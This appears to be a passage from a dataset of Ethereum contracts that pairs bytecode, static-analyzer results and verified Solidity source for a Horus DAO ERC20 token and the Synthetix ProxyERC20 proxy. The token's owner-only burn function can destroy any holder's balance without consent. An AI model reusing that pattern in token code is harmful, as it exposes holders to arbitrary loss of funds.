80601f1061203d57610100808354040283529160200191612068565b820191906000526020600020905b81548152906001019060200180831161204b57829003601f168201915b5050505050905090565b6000600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b612101611a8f565b1515612175576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f4f6e6c79206f776e65722063616e20646f20746861740000000000000000000081525060200191505060405180910390fd5b61217e8161225b565b50565b600082600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415612218576122118483610aeb565b905061221d565b600090505b9392505050565b600082821115151561223257fe5b818303905092915050565b600080828401905083811015151561225157fe5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515612300576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f6e65774f776e657220706172616d65746572206d75737420626520736574000081525060200191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106123ff57805160ff191683800117855561242d565b8280016001018555821561242d579182015b8281111561242c578251825591602001919060010190612411565b5b50905061243a919061243e565b5090565b61246091905b8082111561245c576000816000905550600101612444565b5090565b9056fea165627a7a72305820c0fd41694df23c21477170cc4f7d9117dceccacc87e1c273139c6f22185d69be0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 3,752 |
0x6ad58cb51605ce245848750135ff8e8ef763692d
|
/**
*Submitted for verification at Etherscan.io on 2022-04-20
*/
/*
Teh one to rule them all
*/
pragma solidity 0.6.10;
// SPDX-License-Identifier: UNLICENSED
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/IERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Unsigned math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two unsigned integers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two unsigned integers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
/**
* @return the name of the token.
*/
function name() public view virtual returns (string memory) {
return _name;
}
/**
* @return the symbol of the token.
*/
function symbol() public view virtual returns (string memory) {
return _symbol;
}
/**
* @return the number of decimals of the token.
*/
function decimals() public view virtual returns (uint8) {
return _decimals;
}
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view override returns (uint256) {
return _balances[owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowed[owner][spender];
}
/**
* @dev Transfer token for a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public virtual override returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value) public virtual override returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/**
* @dev Transfer tokens from one address to another.
* Note that while this function emits an Approval event, this is not required as per the specification,
* and other compliant implementations may not emit the event.
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(address from, address to, uint256 value) public virtual override returns (bool) {
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
emit Approval(from, msg.sender, _allowed[from][msg.sender]);
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Transfer token for a specified addresses
* @param from The address to transfer from.
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
/**
* @dev Internal function that mints an amount of the token and assigns it to
* an account. This encapsulates the modification of balances such that the
* proper events are emitted.
* @param account The account that will receive the created tokens.
* @param value The amount that will be created.
*/
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account.
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account, deducting from the sender's allowance for said account. Uses the
* internal burn function.
* Emits an Approval event (reflecting the reduced allowance).
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burnFrom(address account, uint256 value) internal {
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value);
_burn(account, value);
emit Approval(account, msg.sender, _allowed[account][msg.sender]);
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: Token-contracts/ERC20.sol
contract HORUSDAO is ERC20, Ownable {
constructor ()
public
ERC20 ("Horus DAO", "HORUS", 18) {
_mint(msg.sender, 333333333333E18);
}
/**
* @dev Burns token balance in "account" and decrease totalsupply of token
* Can only be called by the current owner.
*/
function burn(address account, uint256 value) public onlyOwner {
_burn(account, value);
}
}
|
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063715018a611610097578063a457c2d711610066578063a457c2d7146102d9578063a9059cbb14610305578063dd62ed3e14610331578063f2fde38b1461035f576100f5565b8063715018a6146102775780638da5cb5b1461028157806395d89b41146102a55780639dc29fac146102ad576100f5565b806323b872dd116100d357806323b872dd146101d1578063313ce56714610207578063395093511461022557806370a0823114610251576100f5565b806306fdde03146100fa578063095ea7b31461017757806318160ddd146101b7575b600080fd5b610102610385565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561013c578181015183820152602001610124565b50505050905090810190601f1680156101695780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101a36004803603604081101561018d57600080fd5b506001600160a01b03813516906020013561041b565b604080519115158252519081900360200190f35b6101bf610497565b60408051918252519081900360200190f35b6101a3600480360360608110156101e757600080fd5b506001600160a01b0381358116916020810135909116906040013561049d565b61020f610566565b6040805160ff9092168252519081900360200190f35b6101a36004803603604081101561023b57600080fd5b506001600160a01b03813516906020013561056f565b6101bf6004803603602081101561026757600080fd5b50356001600160a01b031661061d565b61027f610638565b005b6102896106f7565b604080516001600160a01b039092168252519081900360200190f35b61010261070b565b61027f600480360360408110156102c357600080fd5b506001600160a01b03813516906020013561076c565b6101a3600480360360408110156102ef57600080fd5b506001600160a01b0381351690602001356107e9565b6101a36004803603604081101561031b57600080fd5b506001600160a01b038135169060200135610832565b6101bf6004803603604081101561034757600080fd5b506001600160a01b0381358116916020013516610848565b61027f6004803603602081101561037557600080fd5b50356001600160a01b0316610873565b60038054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104115780601f106103e657610100808354040283529160200191610411565b820191906000526020600020905b8154815290600101906020018083116103f457829003601f168201915b5050505050905090565b60006001600160a01b03831661043057600080fd5b3360008181526001602090815260408083206001600160a01b03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b60025490565b6001600160a01b03831660009081526001602090815260408083203384529091528120546104d1908363ffffffff6109a716565b6001600160a01b03851660009081526001602090815260408083203384529091529020556105008484846109bc565b6001600160a01b0384166000818152600160209081526040808320338085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b60055460ff1690565b60006001600160a01b03831661058457600080fd5b3360009081526001602090815260408083206001600160a01b03871684529091529020546105b8908363ffffffff61098e16565b3360008181526001602090815260408083206001600160a01b0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b6001600160a01b031660009081526020819052604090205490565b610640610a87565b60055461010090046001600160a01b039081169116146106a7576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b60055460405160009161010090046001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a360058054610100600160a81b0319169055565b60055461010090046001600160a01b031690565b60048054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104115780601f106103e657610100808354040283529160200191610411565b610774610a87565b60055461010090046001600160a01b039081169116146107db576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6107e58282610a8b565b5050565b60006001600160a01b0383166107fe57600080fd5b3360009081526001602090815260408083206001600160a01b03871684529091529020546105b8908363ffffffff6109a716565b600061083f3384846109bc565b50600192915050565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b61087b610a87565b60055461010090046001600160a01b039081169116146108e2576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b0381166109275760405162461bcd60e51b8152600401808060200182810382526026815260200180610b336026913960400191505060405180910390fd5b6005546040516001600160a01b0380841692610100900416907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b6000828201838110156109a057600080fd5b9392505050565b6000828211156109b657600080fd5b50900390565b6001600160a01b0382166109cf57600080fd5b6001600160a01b0383166000908152602081905260409020546109f8908263ffffffff6109a716565b6001600160a01b038085166000908152602081905260408082209390935590841681522054610a2d908263ffffffff61098e16565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b3390565b6001600160a01b038216610a9e57600080fd5b600254610ab1908263ffffffff6109a716565b6002556001600160a01b038216600090815260208190526040902054610add908263ffffffff6109a716565b6001600160a01b038316600081815260208181526040808320949094558351858152935191937fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929081900390910190a3505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a2646970667358221220173a17c19ea474d69ece8b07233ef1e2d18be599c5fb7d55e632a223234d215764736f6c634300060a0033
|
{"success": true, "error": null, "results": {}}
| 3,753 |
0xd2dF355C19471c8bd7D8A3aa27Ff4e26A21b4076
|
/*
Note:
This is a PROXY contract, it defers requests to its underlying TARGET contract.
Always use this address in your applications and never the TARGET as it is liable to change.
*//*
____ __ __ __ _
/ __/__ __ ___ / /_ / / ___ / /_ (_)__ __
_\ \ / // // _ \/ __// _ \/ -_)/ __// / \ \ /
/___/ \_, //_//_/\__//_//_/\__/ \__//_/ /_\_\
/___/
* Synthetix: ProxyERC20.sol
*
* Latest source (may be newer): https://github.com/Synthetixio/synthetix/blob/master/contracts/ProxyERC20.sol
* Docs: https://docs.synthetix.io/contracts/ProxyERC20
*
* Contract Dependencies:
* - IERC20
* - Owned
* - Proxy
* Libraries: (none)
*
* MIT License
* ===========
*
* Copyright (c) 2021 Synthetix
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
*/
pragma solidity ^0.5.16;
// https://docs.synthetix.io/contracts/source/contracts/owned
contract Owned {
address public owner;
address public nominatedOwner;
constructor(address _owner) public {
require(_owner != address(0), "Owner address cannot be 0");
owner = _owner;
emit OwnerChanged(address(0), _owner);
}
function nominateNewOwner(address _owner) external onlyOwner {
nominatedOwner = _owner;
emit OwnerNominated(_owner);
}
function acceptOwnership() external {
require(msg.sender == nominatedOwner, "You must be nominated before you can accept ownership");
emit OwnerChanged(owner, nominatedOwner);
owner = nominatedOwner;
nominatedOwner = address(0);
}
modifier onlyOwner {
_onlyOwner();
_;
}
function _onlyOwner() private view {
require(msg.sender == owner, "Only the contract owner may perform this action");
}
event OwnerNominated(address newOwner);
event OwnerChanged(address oldOwner, address newOwner);
}
// Inheritance
// Internal references
// https://docs.synthetix.io/contracts/source/contracts/proxyable
contract Proxyable is Owned {
// This contract should be treated like an abstract contract
/* The proxy this contract exists behind. */
Proxy public proxy;
Proxy public integrationProxy;
/* The caller of the proxy, passed through to this contract.
* Note that every function using this member must apply the onlyProxy or
* optionalProxy modifiers, otherwise their invocations can use stale values. */
address public messageSender;
constructor(address payable _proxy) internal {
// This contract is abstract, and thus cannot be instantiated directly
require(owner != address(0), "Owner must be set");
proxy = Proxy(_proxy);
emit ProxyUpdated(_proxy);
}
function setProxy(address payable _proxy) external onlyOwner {
proxy = Proxy(_proxy);
emit ProxyUpdated(_proxy);
}
function setIntegrationProxy(address payable _integrationProxy) external onlyOwner {
integrationProxy = Proxy(_integrationProxy);
}
function setMessageSender(address sender) external onlyProxy {
messageSender = sender;
}
modifier onlyProxy {
_onlyProxy();
_;
}
function _onlyProxy() private view {
require(Proxy(msg.sender) == proxy || Proxy(msg.sender) == integrationProxy, "Only the proxy can call");
}
modifier optionalProxy {
_optionalProxy();
_;
}
function _optionalProxy() private {
if (Proxy(msg.sender) != proxy && Proxy(msg.sender) != integrationProxy && messageSender != msg.sender) {
messageSender = msg.sender;
}
}
modifier optionalProxy_onlyOwner {
_optionalProxy_onlyOwner();
_;
}
// solhint-disable-next-line func-name-mixedcase
function _optionalProxy_onlyOwner() private {
if (Proxy(msg.sender) != proxy && Proxy(msg.sender) != integrationProxy && messageSender != msg.sender) {
messageSender = msg.sender;
}
require(messageSender == owner, "Owner only function");
}
event ProxyUpdated(address proxyAddress);
}
// Inheritance
// Internal references
// https://docs.synthetix.io/contracts/source/contracts/proxy
contract Proxy is Owned {
Proxyable public target;
constructor(address _owner) public Owned(_owner) {}
function setTarget(Proxyable _target) external onlyOwner {
target = _target;
emit TargetUpdated(_target);
}
function _emit(
bytes calldata callData,
uint numTopics,
bytes32 topic1,
bytes32 topic2,
bytes32 topic3,
bytes32 topic4
) external onlyTarget {
uint size = callData.length;
bytes memory _callData = callData;
assembly {
/* The first 32 bytes of callData contain its length (as specified by the abi).
* Length is assumed to be a uint256 and therefore maximum of 32 bytes
* in length. It is also leftpadded to be a multiple of 32 bytes.
* This means moving call_data across 32 bytes guarantees we correctly access
* the data itself. */
switch numTopics
case 0 {
log0(add(_callData, 32), size)
}
case 1 {
log1(add(_callData, 32), size, topic1)
}
case 2 {
log2(add(_callData, 32), size, topic1, topic2)
}
case 3 {
log3(add(_callData, 32), size, topic1, topic2, topic3)
}
case 4 {
log4(add(_callData, 32), size, topic1, topic2, topic3, topic4)
}
}
}
// solhint-disable no-complex-fallback
function() external payable {
// Mutable call setting Proxyable.messageSender as this is using call not delegatecall
target.setMessageSender(msg.sender);
assembly {
let free_ptr := mload(0x40)
calldatacopy(free_ptr, 0, calldatasize)
/* We must explicitly forward ether to the underlying contract as well. */
let result := call(gas, sload(target_slot), callvalue, free_ptr, calldatasize, 0, 0)
returndatacopy(free_ptr, 0, returndatasize)
if iszero(result) {
revert(free_ptr, returndatasize)
}
return(free_ptr, returndatasize)
}
}
modifier onlyTarget {
require(Proxyable(msg.sender) == target, "Must be proxy target");
_;
}
event TargetUpdated(Proxyable newTarget);
}
// https://docs.synthetix.io/contracts/source/interfaces/ierc20
interface IERC20 {
// ERC20 Optional Views
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
// Views
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
// Mutative functions
function transfer(address to, uint value) external returns (bool);
function approve(address spender, uint value) external returns (bool);
function transferFrom(
address from,
address to,
uint value
) external returns (bool);
// Events
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
// Inheritance
// https://docs.synthetix.io/contracts/source/contracts/proxyerc20
contract ProxyERC20 is Proxy, IERC20 {
constructor(address _owner) public Proxy(_owner) {}
// ------------- ERC20 Details ------------- //
function name() public view returns (string memory) {
// Immutable static call from target contract
return IERC20(address(target)).name();
}
function symbol() public view returns (string memory) {
// Immutable static call from target contract
return IERC20(address(target)).symbol();
}
function decimals() public view returns (uint8) {
// Immutable static call from target contract
return IERC20(address(target)).decimals();
}
// ------------- ERC20 Interface ------------- //
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
// Immutable static call from target contract
return IERC20(address(target)).totalSupply();
}
/**
* @dev Gets the balance of the specified address.
* @param account The address to query the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address account) public view returns (uint256) {
// Immutable static call from target contract
return IERC20(address(target)).balanceOf(account);
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address owner, address spender) public view returns (uint256) {
// Immutable static call from target contract
return IERC20(address(target)).allowance(owner, spender);
}
/**
* @dev Transfer token for a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public returns (bool) {
// Mutable state call requires the proxy to tell the target who the msg.sender is.
target.setMessageSender(msg.sender);
// Forward the ERC20 call to the target contract
IERC20(address(target)).transfer(to, value);
// Event emitting will occur via Synthetix.Proxy._emit()
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value) public returns (bool) {
// Mutable state call requires the proxy to tell the target who the msg.sender is.
target.setMessageSender(msg.sender);
// Forward the ERC20 call to the target contract
IERC20(address(target)).approve(spender, value);
// Event emitting will occur via Synthetix.Proxy._emit()
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address from,
address to,
uint256 value
) public returns (bool) {
// Mutable state call requires the proxy to tell the target who the msg.sender is.
target.setMessageSender(msg.sender);
// Forward the ERC20 call to the target contract
IERC20(address(target)).transferFrom(from, to, value);
// Event emitting will occur via Synthetix.Proxy._emit()
return true;
}
}
|
0x6080604052600436106100f35760003560e01c8063776d1a011161008a57806395d89b411161005957806395d89b4114610473578063a9059cbb14610488578063d4b83992146104c1578063dd62ed3e146104d6576100f3565b8063776d1a011461038157806379ba5097146103b45780638da5cb5b146103c9578063907dff97146103de576100f3565b806323b872dd116100c657806323b872dd146102af578063313ce567146102f257806353a47bb71461031d57806370a082311461034e576100f3565b806306fdde031461017c578063095ea7b3146102065780631627540c1461025357806318160ddd14610288575b60025460408051635e33fc1960e11b815233600482015290516001600160a01b039092169163bc67f8329160248082019260009290919082900301818387803b15801561013f57600080fd5b505af1158015610153573d6000803e3d6000fd5b5050505060405136600082376000803683346002545af13d6000833e80610178573d82fd5b3d82f35b34801561018857600080fd5b50610191610511565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101cb5781810151838201526020016101b3565b50505050905090810190601f1680156101f85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561021257600080fd5b5061023f6004803603604081101561022957600080fd5b506001600160a01b038135169060200135610648565b604080519115158252519081900360200190f35b34801561025f57600080fd5b506102866004803603602081101561027657600080fd5b50356001600160a01b0316610736565b005b34801561029457600080fd5b5061029d610792565b60408051918252519081900360200190f35b3480156102bb57600080fd5b5061023f600480360360608110156102d257600080fd5b506001600160a01b03813581169160208101359091169060400135610808565b3480156102fe57600080fd5b506103076108ff565b6040805160ff9092168252519081900360200190f35b34801561032957600080fd5b50610332610944565b604080516001600160a01b039092168252519081900360200190f35b34801561035a57600080fd5b5061029d6004803603602081101561037157600080fd5b50356001600160a01b0316610953565b34801561038d57600080fd5b50610286600480360360208110156103a457600080fd5b50356001600160a01b03166109d6565b3480156103c057600080fd5b50610286610a32565b3480156103d557600080fd5b50610332610aee565b3480156103ea57600080fd5b50610286600480360360c081101561040157600080fd5b81019060208101813564010000000081111561041c57600080fd5b82018360208201111561042e57600080fd5b8035906020019184600183028401116401000000008311171561045057600080fd5b919350915080359060208101359060408101359060608101359060800135610afd565b34801561047f57600080fd5b50610191610c06565b34801561049457600080fd5b5061023f600480360360408110156104ab57600080fd5b506001600160a01b038135169060200135610c4b565b3480156104cd57600080fd5b50610332610d04565b3480156104e257600080fd5b5061029d600480360360408110156104f957600080fd5b506001600160a01b0381358116916020013516610d13565b600254604080516306fdde0360e01b815290516060926001600160a01b0316916306fdde03916004808301926000929190829003018186803b15801561055657600080fd5b505afa15801561056a573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052602081101561059357600080fd5b81019080805160405193929190846401000000008211156105b357600080fd5b9083019060208201858111156105c857600080fd5b82516401000000008111828201881017156105e257600080fd5b82525081516020918201929091019080838360005b8381101561060f5781810151838201526020016105f7565b50505050905090810190601f16801561063c5780820380516001836020036101000a031916815260200191505b50604052505050905090565b60025460408051635e33fc1960e11b815233600482015290516000926001600160a01b03169163bc67f832916024808301928692919082900301818387803b15801561069357600080fd5b505af11580156106a7573d6000803e3d6000fd5b50506002546040805163095ea7b360e01b81526001600160a01b03888116600483015260248201889052915191909216935063095ea7b3925060448083019260209291908290030181600087803b15801561070157600080fd5b505af1158015610715573d6000803e3d6000fd5b505050506040513d602081101561072b57600080fd5b506001949350505050565b61073e610d9f565b600180546001600160a01b0383166001600160a01b0319909116811790915560408051918252517f906a1c6bd7e3091ea86693dd029a831c19049ce77f1dce2ce0bab1cacbabce229181900360200190a150565b600254604080516318160ddd60e01b815290516000926001600160a01b0316916318160ddd916004808301926020929190829003018186803b1580156107d757600080fd5b505afa1580156107eb573d6000803e3d6000fd5b505050506040513d602081101561080157600080fd5b5051905090565b60025460408051635e33fc1960e11b815233600482015290516000926001600160a01b03169163bc67f832916024808301928692919082900301818387803b15801561085357600080fd5b505af1158015610867573d6000803e3d6000fd5b5050600254604080516323b872dd60e01b81526001600160a01b03898116600483015288811660248301526044820188905291519190921693506323b872dd925060648083019260209291908290030181600087803b1580156108c957600080fd5b505af11580156108dd573d6000803e3d6000fd5b505050506040513d60208110156108f357600080fd5b50600195945050505050565b6002546040805163313ce56760e01b815290516000926001600160a01b03169163313ce567916004808301926020929190829003018186803b1580156107d757600080fd5b6001546001600160a01b031681565b600254604080516370a0823160e01b81526001600160a01b0384811660048301529151600093929092169